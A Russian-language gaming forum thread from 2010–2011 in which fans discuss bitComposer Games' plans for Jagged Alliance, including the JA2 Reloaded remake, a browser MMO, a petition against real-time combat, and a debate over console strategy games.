Джа3 разрабатывали вроде в Акелле, но тому проекту пришёл кризис.

Есть ещё полумифическое Джа3, которое нам сулят "вот уже скоро", но даже я (оптимист, если что), верю в это с трудом. ::)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 22.06.2010 в 03:27:27
2<<Green Eye Man>>: Не путай людей :dont: JA3 не выходила! Джаз: РпН никогда не был JA3, он был JA 3D.
2Head_Crusher: Чтобы не задавать глупых вопросов почитай последние несколько страниц этой темы. Желательно - всю с самого начала. Местами весьма жгуче.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем <<Green Eye Man>> на 22.06.2010 в 04:04:10

on 1277166447, bugmonster wrote:
JA3 не выходила
- [offtop]ДЖАЗ и ДЖА3 - найдите десять отличий. ;D[/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 05.07.2010 в 02:18:38
В навигаторе игрового мира за июнь (№6) с.г. напечатали интервью с новыми владельцами серии JA. Чтобы не нарушать авторские права (выкладывая статью), пройдёмся галопом по Европе :) Итак:
- bitComposer Games была организована в марте 2009 года.
- Планы компании на серию JA
1. Создание полноценной JA 3
2. Выпуск ремейка JA 2 (Будет изменена только графическая/техническая часть игры)
3. Выпуск браузерной JA вместе с ремейком JA2.
- Сказали, что являются поклонниками серии JA (это уже было), сотрудничают с немецкими и английскими игровыми студиями. Говорят, что справятся с поставленными задачами. Т.е. амбиции, желание продолжить серию есть, посмотрим, что из этого выйдет..

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем <<Green Eye Man>> на 05.07.2010 в 02:53:15

on 1278285518, Dredd21 wrote:
Выпуск ремейка JA 2 (Будет изменена только графическая/техническая часть игры)
- только графика! И свободный доступ к редактированию исходников! И прочие лозунги! ;D

ПС: одни уже пробовали - вышло не очень.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Docent на 13.07.2010 в 20:34:34

on 1278285518, Dredd21 wrote:
1. Создание полноценной JA 3

У каждой команды своё собственное видение "полноценной JA 3"!
Любопытно, что понимают под этими словами bitComposer Games ::)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 20.08.2010 в 07:03:47
Так, сайт биткомпозера обновился. Браузерная версия JA выйдет в 2011 году.
Eschborn/Hamburg, August 18, 2010: An online version of the classic game Jagged Alliance will be released in 2011. Today bitComposer Games and gamigo announced that development of the browser-based tactical MMORPG (Massively Multiplayer Online Role-playing Game) has begun.
Новость http://www.bit-composer.com/www_en/newsarchive.aspx?newsid=9240301c-cd4d-44ab-a1f2-d126acd43889

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем <<Green Eye Man>> на 20.08.2010 в 18:04:24
Так и знал, что делают галяк. :P

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 20.08.2010 в 23:49:45
#%аный стыд!

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 21.08.2010 в 03:45:30
А вот и новость про JA2 в новой обработке
http://www.bit-composer.com/www_en/newsarchive.aspx?newsid=ce4c7580-4e16-452d-a709-14d05401876b

Eschborn, August 20, 2010: Jagged Alliance 2 - Reloaded will be released next year, and this multi award-winning classic will appear as a totally revamped version. German publisher bitComposer Games is currently developing a remake of Jagged Alliance 2, which will retain the tried-and-trusted game principle, but will have a totally new game look and which will address the weak points of the original. Jagged Alliance 2 - ReloadedReloaded will therefore have a contemporary 3D graphic syle in an isometric view, the user interface will be totally redesigned and an extensive tutorial will ease the player into the complex game rules system. Find out more about Jagged Alliance 2 - Reloaded and about other titles here in the Jagged Alliance universe on the new product website.http://www.jaggedalliance.com

The Jagged Alliance series has won numerous national and international accolades since the first title was published in 1994. The second part in particular, Jagged Alliance 2, released in 1999, received numerous awards and high ratings from the games media worldwide. Jagged Alliance 2 - Reloaded takes the tried-and-trusted game principle and builds on and improves it. The new game will retain the popular combo of a turn-based strategy game with roleplay elements.

Разрабатывает сам биткомпозер. Вот скрины, как это было и будет
http://www.jaggedalliance.com/index.php?id=19

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем <<Green Eye Man>> на 21.08.2010 в 04:04:44

on 1282351530, Dredd21 wrote:
А вот и новость про JA2 в новой обработке
- а вот это уже новость нормальная. Надеюсь (скрестил все щупальца) выйдет нармально, а не очередной Джаз. :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Ushwood на 21.08.2010 в 04:14:35
Настораживает фраза "and which will address the weak points of the original".
У разработчиков иногда бывает очень своеобразное представление о том, что такое "weak points of the original"... ::)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем <<Green Eye Man>> на 21.08.2010 в 04:24:33

on 1282353275, Ushwood wrote:
"weak points of the original"
- [offtop]вольный перевод: "О, такой я видел тебя во сне!" ::)[/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Ushwood на 21.08.2010 в 07:07:42
2<<Green Eye Man>>: Угу, вот "Джаз" так же делали. И вон что сделали.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kaatinga на 21.08.2010 в 20:36:53
Между тем вот убойная новость:

http://www.shacknews.com/onearticle.x/65235

The sequel, dubbed Jagged Alliance 2: Reloaded, will sport updated isometric 3D graphics, an improved UI, and an expanded tutorial for Jagged Alliance newbies. The series' beloved combination of turn-based strategy and role-playing gameplay. Check out the screenshots for a few visual comparisons of old the old 1999-version of JA2 and bitComposer's updated hotness.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Head_Crusher на 21.08.2010 в 21:17:00

on 1282412213, Kaatinga wrote:
Между тем вот убойная новость:  

А выглядит неплохо! :) Я про скрины.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 21.08.2010 в 23:50:30
а вот эта новость уже лучше. Хотя да, настораживает что Джаз тоже с таким же мотивом делали, да и скрины чем-то его напоминают.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем <<Green Eye Man>> на 22.08.2010 в 01:18:53
http://games.cnews.ru/lenta/1236273

Та же тема, но по-русски.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kaatinga на 22.08.2010 в 09:28:30
Интересно, до найт-опс'а дотянет этот релоад? :P

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем MAn на 23.08.2010 в 04:34:48
ну, найт_опс тоже не стоит на месте

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем mirage на 07.09.2010 в 13:56:24
2Kaatinga: na dotianet

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Shico на 12.09.2010 в 21:32:33
Jagged Alliance Online

   * Tactical Turn based Action in 3D isometric graphics with parameterized maps for fresh challenges
   * Management of mercenary company with extended RPG system
   * Synchronous and asynchronous online PvE, co-op and PvP
   * Build up your own HQ
   * Players can choose to accept campaigns, which are essentially a string of missions on a specific map that need to be resolved within a given time frame.
   * Players can support other’s campaigns by renting mercenaries for a certain amount of time and can also bolster their roster by using their ally’s mercs.
   * The game can be played as a normal browser game, managing mercenaries and sending them on missions or players can dive into the action on the tactical map, improving their chances and rewards.
   * The game has three core layers of gameplay:
     o The tactical map, where players control their mercs directly in turn based/real time combat.
     o The management level, where players run their company, rent out mercs and choose missions or campaigns as well as build up their HQ facilities.
     o The social layer, where players may support or fight others on campaigns or missions.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 17.10.2010 в 19:24:35
Новость Jagged Alliance 2: Reloaded gets an orchestral backing

"Eschborn/Frankfurt, October 12, 2010: In late October the music for Jagged Alliance 2: Reloaded will again be played and recorded in the town of Halle an der Saale. bitComposer Games is working on this recording project with Dynamedion, who have a long and impressive track record and have received numerous accolades and awards for their compositions.
The orchestral score will turn Jagged Alliance 2: Reloaded into a grandiose sound experience – stay tuned!"

http://www.jaggedalliance.com/index.php?id=13&no_cache=1&no_cache=1&tx_ttnews[tt_news]=22&L=1

Серьезно ребята к музыкальному сопровождению игры подошли..
P.S. На ag.ru откуда-то появились примерные даты выхода JA2R (в разработке, запланирована на IV квартал 2011 г) и JA3 (в разработке, запланирована на 2012 г.) Чудно, на официальных сайтах я этих дат не видел..


Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Daito на 07.11.2010 в 07:01:39
http://www.ag.ru/games/jagged_alliance_2_reloaded
а я-то думал что это...

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Docent на 18.11.2010 в 11:19:23
Организован сбор подписей поклонников JA против желания разработчиков из bitComposer Games изменить классическую "turn-based combat-system" в новых играх серии Jagged Alliance:
http://www.petitiononline.com/ja2r/petition.html

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 18.11.2010 в 18:22:34
У меня дежавю.
Сначала mistland/gfi чинили что не сломано, потом А4. Теперь bitComposer. Может судьба предыдущих компаний их убедит. Ну или Апейрона, который делал похожую систему.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем pipetz на 18.11.2010 в 18:59:39

on 1290071963, Docent wrote:
Организован сбор подписей  

Подписалсо!

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 18.11.2010 в 19:35:10

Quote:
In the “Plan & Go” system we have omitted the “Fog of War”, which covered most of the map in JA2. Enemies positioned outside buildings are permanently visible, which enables the player to establish a strategy from the outset without having to constantly save and load. In addition, the world looks much more animated and lively as the hostile forces patrol in the meticulously detailed 3D backdrops.

Гы. И почему я не удивлен ?
2bugmonster:
Ребята тайтл купили сугубо что бы его угробить по-быстрому срубив капусты. Желания мифических фанов их не волнуют.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем jz на 18.11.2010 в 20:43:56
Подписался. То, что они предлагают, было (ИМХО) в Baldur's Gate - пауза, скрипты поведения. И бои проходили как "Куча мала" - одновременно все двигаются, метают стрелы, убегают. И приходилось ставить "автопаузу" при заканчивающейся аммуниции, ранении персонажа и т.д.
А в TBS всегда состояние комфорта - ты всё контролируешь, не надо напрягаться.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 18.11.2010 в 21:20:13
2Zed:
у них был вот такой тред, из чего я решил что как минимум сама пошаговка останется
http://jaggedalliance.com/index.php?id=35&tx_mmforum_pi1[action]=list_post&tx_mmforum_pi1[tid]=101

Quote:
Dear JA Community,

We would love to receive your suggestions and ideas for a modern, turn-based combat system.

What do you think a modern version of such a combat system should look like? What is wrong with the existing JA2 combat system, what annoys you about it and what must be retained without fail?

We look forward to hearing your proposals, suggestions and ideas.

Thanks!

Your bitComposer Team


Что характерно - почти все комменты в той теме за то что в самой ТБ системе ничего менять не надо.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 18.11.2010 в 22:32:30
Оказывается, они уже в курсе что их ждёт:
[attach]

вольный перевод:
[offtop]Nark: Как вам это, знать что из-за реалтайма в ja2R и ja3 ваша студия накроется медной звиздой?
bitComposer_Games: Пасиба за вопрос, мы знаем что обречены и намерены встретить неизбежное с улыбкой  :) [/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Head_Crusher на 19.11.2010 в 00:14:02
Я тоже подписался, но ничего платить я не стал!

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 19.11.2010 в 00:31:31

Quote:
ничего платить я не стал!

а что, предлагали? :o
[offtop]я понял, это новая модель бизнеса в геймдеве: ваш любимый тайтл теперь у нас, если не хотите что бы под ним мы выпустили говнобраузерку для фейсбука и недоRTS - оставьте 2 миллиона евро мелкими немеченными купюрами в чемодане... ;D[/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Head_Crusher на 19.11.2010 в 01:34:06
2bugmonster: для поддержки форума вроде как!
Мне пришло сообщение на мыло, где об этом сказано.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 19.11.2010 в 02:50:59
2Head_Crusher: А, это сам сайт петиций для себя донейты просит. С петицией это не как не связано.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Sot на 19.11.2010 в 02:53:43
2bugmonster: жжешь комрад! ;D
подписался для разнообразия  :P

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем <<Green Eye Man>> на 19.11.2010 в 05:49:19
Подписал.
И сразу вспомнился случай из Постала, когда Чувак приставал к прохожим: "Подпиши петицию", "Нет. А что за петиция?", "Просто подпиши эту чёртову петицию!", "Ладно, ладно. Не горячись". ;)
Я столько петиций подписал, но толку от них не много, как оказалось. К примеру Dungeon Keeper 3 так и не выпустили (и не собираются). ::)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Head_Crusher на 19.11.2010 в 06:06:43
Те, кто подписали петицию - это люди, в которых ещё не умерла надежда.
Ну или просто те, кому пох... на то, что подписывать.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем jarni на 19.11.2010 в 19:48:05
2bugmonster:  
on 1290119491, bugmonster wrote:
я понял
+1. ;D ;D ;D

Тоже подписался.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем stariy_voyack на 21.11.2010 в 20:13:00
Подписался, :P № 242. Ну что тут скажешь!

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 22.11.2010 в 01:15:31

on 1290363180, stariy_voyack wrote:
Ну что тут скажешь!

что есть 242 любителя ja2, толпа прям  ;D И чегойто на них все плюют.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем pipetz на 22.11.2010 в 01:49:03

on 1290381331, Zed wrote:
что есть 242 любителя ja2, толпа прям

Ты не понял. Это только те, у кого есть интернет.  :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 22.11.2010 в 05:34:15
Думается что если ссыль на петицию попадёт куда нибудь типа ag.ru, то голосов будет много раз больше.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Sot на 22.11.2010 в 06:11:02
Несколько абстрактный вопрос: сколько стоит сделать JA 3?  ;)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем pipetz на 22.11.2010 в 06:26:19

on 1290399062, Sot wrote:
Несколько абстрактный вопрос: сколько стоит сделать JA 3?

Хочешь собрать со всех по чирику и свалить в Канаду?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Sot на 22.11.2010 в 06:32:34
Блина, мог бы и не палить - написал бы в личку, разделили б поровну  :(

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем pipetz на 22.11.2010 в 10:08:49

on 1290400354, Sot wrote:
Блина, мог бы и не палить - написал бы в личку, разделили б поровну

Сэкономил тебе время. Фанаты Джа - народ тёртый им всем как минимум по 10 лет.
Так что этим их не купишь.  :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем <<Green Eye Man>> на 22.11.2010 в 10:48:09

on 1290399062, Sot wrote:
сколько стоит сделать JA 3?  
- вопрос не сколько, а стоит ли.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 22.11.2010 в 10:51:40

on 1290413329, pipetz wrote:
им всем как минимум по 10 лет.  

Вранье. Знаю как минимум одного которому 7 :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем pipetz на 22.11.2010 в 22:21:11

on 1290415900, Zed wrote:
Вранье. Знаю как минимум одного которому 7

Неужели это ты???777  :o

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Sot на 22.11.2010 в 22:48:44
2<<Green Eye Man>>: тогда перефразирую: сколько стоит чтобы не делали JA3?!  :) :)

PS и все же хотелось бы услышать чьи-нибудь предположения по поводу затрат на игру уровня JA 3, интересно узнать хотя бы порядок...

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 23.11.2010 в 00:55:19

on 1290458924, Sot wrote:
тогда перефразирую: сколько стоит чтобы не делали JA3?!

Всего то выкупить тайтл, законкретной ценой к текущему владельцу.

on 1290458924, Sot wrote:
и все же хотелось бы услышать чьи-нибудь предположения по поводу затрат на игру уровня JA 3, интересно узнать хотя бы порядок

Если есть лишние деньги - неси мне.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 25.11.2010 в 07:28:56
А вот и скриншоты обновились http://www.jaggedalliance.com/index.php?id=13&no_cache=1&L=1&tx_ttnews[tt_news]=24&cHash=47503bfc45b655723686498d3013a939

http://jaggedalliance.com/index.php?id=19&amp;L=1
Пока, на JA2R стоит дата выхода 4 квартал 2011..

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем <<Green Eye Man>> на 25.11.2010 в 19:20:38

on 1290662936, Dredd21 wrote:
А вот и скриншоты обновились
- хм. Может и не всё так плохо. Скрины действительно напоминают Джа2 (даже более, чем ранние скрины Джаза).

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Ushwood на 25.11.2010 в 23:51:34
2<<Green Eye Man>>: Скрины - это как раз наименьшее зло из возможных. Вопрос - что сделают с игровой механикой и с АИ...

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем <<Green Eye Man>> на 25.11.2010 в 23:59:01

on 1290721894, Ushwood wrote:
Вопрос - что сделают с игровой механикой и с АИ...
- если будет SDK и желание людей в нём копаться. :)
Хотя в том же Джазе много параметров для изменения. Но нет желания копаться. :P

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 27.11.2010 в 04:54:51
У меня такая вот крамольная мысль возникла:
Биткомпостеры нацелившись сделать ремейк и повторяя карты чуть ли не до мелочей, почему-то в ультимативной форме переделывают интерфейс и механику, твердя про нанотехнологии и инновации Современную Тактикал-РПГ, несмотря на то бурление ховн на их форуме, которое их вызывает. Тут писали про малое количество голосов в петиции, однако по форуму можно судить что подавляющее большинство людей которые вообще в курсе происходящего - против, если это экстраполировать на всех потенциальных покупателей, то картина потенциальных продаж безрадостная, если только у издателя нет "другого глобуса" на котором они бы толкали свою поделку.
А что если у них есть "другой глобус" - рынок консольных игр? Что если все эти кардинальные изменения связаны с тем что классическую механику просто нельзя перенести на консоли, а классическое управление реализовать на джойстиках?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Sot на 27.11.2010 в 05:26:05

Quote:
если это экстраполировать на всех потенциальных покупателей, то картина потенциальных продаж безрадостная, если только у издателя нет "другого глобуса" на котором они бы толкали свою поделку.

Все равно купим. Хотя бы посмотреть что это вообще такое. А на то, окупиться игра или нет наплювать  :P

Quote:
А что если у них есть "другой глобус" - рынок консольных игр? Что если все эти кардинальные изменения связаны с тем что классическую механику просто нельзя перенести на консоли, а классическое управление реализовать на джойстиках?
Что то круто завариваешь  :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем <<Green Eye Man>> на 27.11.2010 в 05:56:17

on 1290828365, Sot wrote:
Все равно купим.  
- хренушки. Ситуация с четвёртой готикой подтверждает, что не всё дерьмо пахнет золотом. Уж вы меня извините, но ситуацию более мягко я описать не могу ну ни как. :P
Если игра будет действительно стоящая (а я сомневаюсь - сейчас приличных компаний оп пальцам и со средствами у них не так хорошо, как к примеру у Близардов, ЕА или Юбисофта).


on 1290826491, bugmonster wrote:
А что если у них есть "другой глобус" - рынок консольных игр? Что если все эти кардинальные изменения связаны с тем что классическую механику просто нельзя перенести на консоли, а классическое управление реализовать на джойстиках?
- хочу джагу на wii. ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 27.11.2010 в 06:11:40
2bugmonster:
Не, если пошаговая тактическая игра еще адаптируема к джойстикам, то рыалтайм - фигвам.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем aazmav на 27.11.2010 в 06:12:53
Мне лично игра за механику и нравилась. А карты это уже антураж.
Главное в игре все-таки механика, как мне кажется, хотя и я тоже могу ошибаться

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Ushwood на 27.11.2010 в 07:07:48

on 1290828365, Sot wrote:
Все равно купим.
Хренушки (с)
Если я люблю Джагу, это еще не значит, что я куплю любое говно, на котором написано "JA".

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Sot на 27.11.2010 в 07:09:38
Блина я сказал купим значит купим! Хватит спорить  :P

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем <<Green Eye Man>> на 27.11.2010 в 07:35:16

on 1290834578, Sot wrote:
Хватит спорить
- "Приготовьте лазер!!!" ::)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 27.11.2010 в 07:37:58
2Zed:

Quote:
Не, если пошаговая тактическая игра еще адаптируема к джойстикам, то рыалтайм - фигвам.  

Тебя в гугле забанили ;D
консольные RTS:
http://en.wikipedia.org/wiki/Halo_Wars
http://ru.wikipedia.org/wiki/R.U.S.E.
http://en.wikipedia.org/wiki/End_War

дальше гуглить?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 27.11.2010 в 07:43:09
2bugmonster:
А сейчас ты скажешь что они жутко популярные и удобные :)
Да и смысл для консолей покупать тайтл про который игруны на консолях не слышали никогда ?
ЗЫ. *делает пометку в блокноте напротив ника bugmonster* провокатор

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем <<Green Eye Man>> на 27.11.2010 в 07:53:17

on 1290836589, Zed wrote:
А сейчас ты скажешь что они жутко популярные и удобные
- популярные - да, и модные (у меня на работе один только на консолях и играет (любимый вопрос: "во что это ты играешь? А на иксбоксе этого нет?)). А удобство и мода в одном месте не стоят. ;)

[offtop] Помню, я раздолбал контролер от плейстейшен, пытаясь варзону 2100 пройти (прошел я её только на компе).
Консоли - только для аркад и капкомовских игр, иммо (подтверждённое практикой). :P [/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем MAn на 27.11.2010 в 08:00:32
Мне кажется, или на самом деле "старые" скрины симпатичнее?  :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 27.11.2010 в 08:04:31

on 1290837197, <<Green Eye Man>> wrote:
- популярные - да, и модные

RTS на консолях ?  ;D
Это что то аля : "В казино популярны шахматы"

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 27.11.2010 в 08:06:03
2Zed: Halo Wars, говорят, культовая. Может долго спорить консольные RTS это труъ или не труъ, но незачем. Факт в том что они есть, и они продаются.
И странно что ты представляешь консольщиков как неких урукхаев, которых в глине выращивают. У многих людей есть и ПК и консоль потому что без ПК диск для консоли не нарежешь, раньше не было такого явного разделения на игровые ПК и "печатные машинки", а консоль обойдётся дешевле мощного игрового ПК и его периодического апгрейда. Многие в 199-бородатом играли в джаггет альянс, кто-то может слышал. Порты JA1 на портативные консоли, кпк и прочие телефоны - доказательство.

Просто если одну и ту же игру можно продать в три раза дороже только на основании того факта что это диск для консоли, а потом отдельно ещё и "костюм Марио для главного героя" за 5 долларов и платную ежемесячную подписку - то это весомое основание для девелоперов выпустить игру под консольку.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 27.11.2010 в 08:48:08

on 1290837963, bugmonster wrote:
И странно что ты представляешь консольщиков как неких урукхаев, которых в глине выращивают. У многих людей есть и ПК и консоль

И если они при наличии ПК играют в стратегии на консоли они натуральные урукхаи  ;D
Британские ученые из майкрософта наглядно доказали что средний игрун в игру на PC рвет в хлам самых задротистых задротов в туже игру на консоли, после чего весело глумится, а консольшики плачут и жалуются маме в результате чего падают продажи ;D удобство управления никакое, одни файтинги довольны.

on 1290837963, bugmonster wrote:
Halo Wars, говорят, культовая.

Halo это культ, да, только он ни разу не стратегия :)

on 1290837963, bugmonster wrote:
Порты JA1 на портативные консоли, кпк и прочие телефоны - доказательство.  

И прям все как один по лицензии ? :)

on 1290837963, bugmonster wrote:
Просто если одну и ту же игру можно продать в три раза дороже только на основании того факта что это диск для консоли, а потом отдельно ещё и "костюм Марио для главного героя" за 5 долларов и платную ежемесячную подписку - то это весомое основание для девелоперов выпустить игру под консольку.

Так ну не купит никто риалтаймовую тактику на консоли.

Я за вариант что они бабло собираются на онлайн браузерке рубить. А релоад это так, для освежения тайтла.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем <<Green Eye Man>> на 27.11.2010 в 08:54:20

on 1290840488, Zed wrote:
И если они при наличии ПК играют в стратегии на консоли они натуральные урукхаи
- подписываюсь. Курсор лучше мышкой гонять. Можно ещё стилусом - если без извращений мир не люб. ;D
Но джойстиками - проще два шага из окна сделать. :P


on 1290840488, Zed wrote:
Halo это культ, да, только он ни разу не стратегия
- Хало Варс - стратегия. И эксклюзив для иксбокса. Тот самый чувак с моей работы в неё играет. Я же жду порта на писюк. :P


on 1290837871, Zed wrote:
RTS на консолях ?
- я же играю в дендивские игрушки на компе. Наверное, и обратные извращенцы есть. ;)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 27.11.2010 в 09:03:50

on 1290840860, <<Green Eye Man>> wrote:
- Хало Варс - стратегия. И эксклюзив для иксбокса.

Ключевые слова:
1. Halo -фактически самый раскрученный тайтл яшика
2. Эксклюзив.

Убери любое из двух и будет эпикфейл.

on 1290840860, <<Green Eye Man>> wrote:
я же играю в дендивские игрушки на компе.

А сейчас ты мне расскажешь что ты за них заплатил :)
Извращенцы есть всегда, я даже знаю идиотов которые в старкрафт играли только на консоли, но делать на них ставку как на источник денюшки - бесперспективно.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем <<Green Eye Man>> на 27.11.2010 в 10:02:47

on 1290841430, Zed wrote:
А сейчас ты мне расскажешь что ты за них заплатил
- ага. Картриджи покупал. ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 26.12.2010 в 20:01:29
Арт, наемник Тень http://www.jaggedalliance.com/wp-content/gallery/jagged-alliance-2-reloaded-artworks/soldier_shadow.jpg

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Head_Crusher на 26.12.2010 в 21:57:26
Рааааааадикальные изменения внешности! :o
[offtop]Пластика сакс! >:([/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 26.12.2010 в 23:08:49
2Head_Crusher: Нормально всё, похож более менее. Тебя самого на паспорт никогда не фотографировали? ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Sot на 26.12.2010 в 23:33:10
по моему он обрусел  ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Head_Crusher на 27.12.2010 в 01:10:34

on 1293397729, bugmonster wrote:
Тебя самого на паспорт никогда не фотографировали? ;D

2bugmonster: Фотографировали. И на фотке я на себя похож. :)
Но тут - ещё раз повторюсь, радикальное изменение лица. Так, фигура наёмника мне нравится. Но тут этот наёмник - Тень. Если в таком контексте, то нет!

on 1293399190, Sot wrote:
по моему он обрусел  ;D

Во-во!

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Morgenstern на 28.12.2010 в 00:28:24
Ну, все, теперь Тени точно не видать титула "Мистер JA" как своих ушей! ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Head_Crusher на 28.12.2010 в 02:55:37
2Morgenstern: это точно! ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Ushwood на 29.12.2010 в 03:49:13

on 1293488904, Morgenstern wrote:
Ну, все, теперь Тени точно не видать титула "Мистер JA" как своих ушей
Не делай поспешных выводов - ты ведь еще остальных мерков не видела ;).

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 02.01.2011 в 22:19:32
Только сейчас  заметил, что разработчики ведут дневник  :)
http://www.jaggedalliance.com/en/dev-diary-part-1/
Первая часть посвящена графической части игры.
Новый Арулько будет более детализированным, нежели оригинал. Лучше всего это можно заметить на пейзаже/дизайне карты.
Во второй части дневника разработчики расскажут о том, как создавался характер игры. (м.б. все же характер персонажей?)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Morgenstern на 10.01.2011 в 19:06:28

on 1293587353, Ushwood wrote:
Не делай поспешных выводов - ты ведь еще остальных мерков не видела
Ну, кстати, да :) что там еще с Иваном сделают ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Sot на 13.01.2011 в 00:36:16
А технику подвижную обещают?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем <<Green Eye Man>> на 13.01.2011 в 00:51:33

on 1294871776, Sot wrote:
А технику подвижную обещают?
- а разве они что-то обещали. Есть только парочка скринов и текст от разработчика. Пока не будет не постановочного видео геймплея, то у нас есть только надежда.

Я надеюсь, что техника подвижная будет.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем ThunderBird на 30.01.2011 в 18:33:05

on 1294897207, KombaT wrote:
2Zed:  
Удаленный пост был шуткой  :),
Не был направлен на какое-либо конкретное лицо,
Не содержал в себе ругательную информацию,
Не нёс, в принципе, никакую смысловую нагрузку,
И "почти" не нарушал Устав форума  :)
и поэтому все выпливается каленым напильником:asthanos:

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 03.02.2011 в 19:41:08
Скриншоты обновили
http://www.jaggedalliance.com/wp-content/gallery/jagged-alliance-back-in-action-screenshots/10.jpg
http://www.jaggedalliance.com/wp-content/gallery/jagged-alliance-back-in-action-screenshots/08.jpg
И JA2R переименовывается в “Jagged Alliance 2: Reloaded” becomes “Jagged Alliance: Back in Action” – set for a Q4 release

http://www.jaggedalliance.com/en/

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Head_Crusher на 04.02.2011 в 07:06:09

on 1296754868, Dredd21 wrote:
Скриншоты обновили  

Эх! Красота!  8)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Ushwood на 10.02.2011 в 22:34:59
А вот интересно, тени будут всегда в одну сторону или двигаться от времени суток?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 11.02.2011 в 02:57:46

on 1297370099, Ushwood wrote:
А вот интересно, тени будут всегда в одну сторону или двигаться от времени суток?
- ну, вроде как, сейчас такое можно сделать в любой трёхмерной игре.

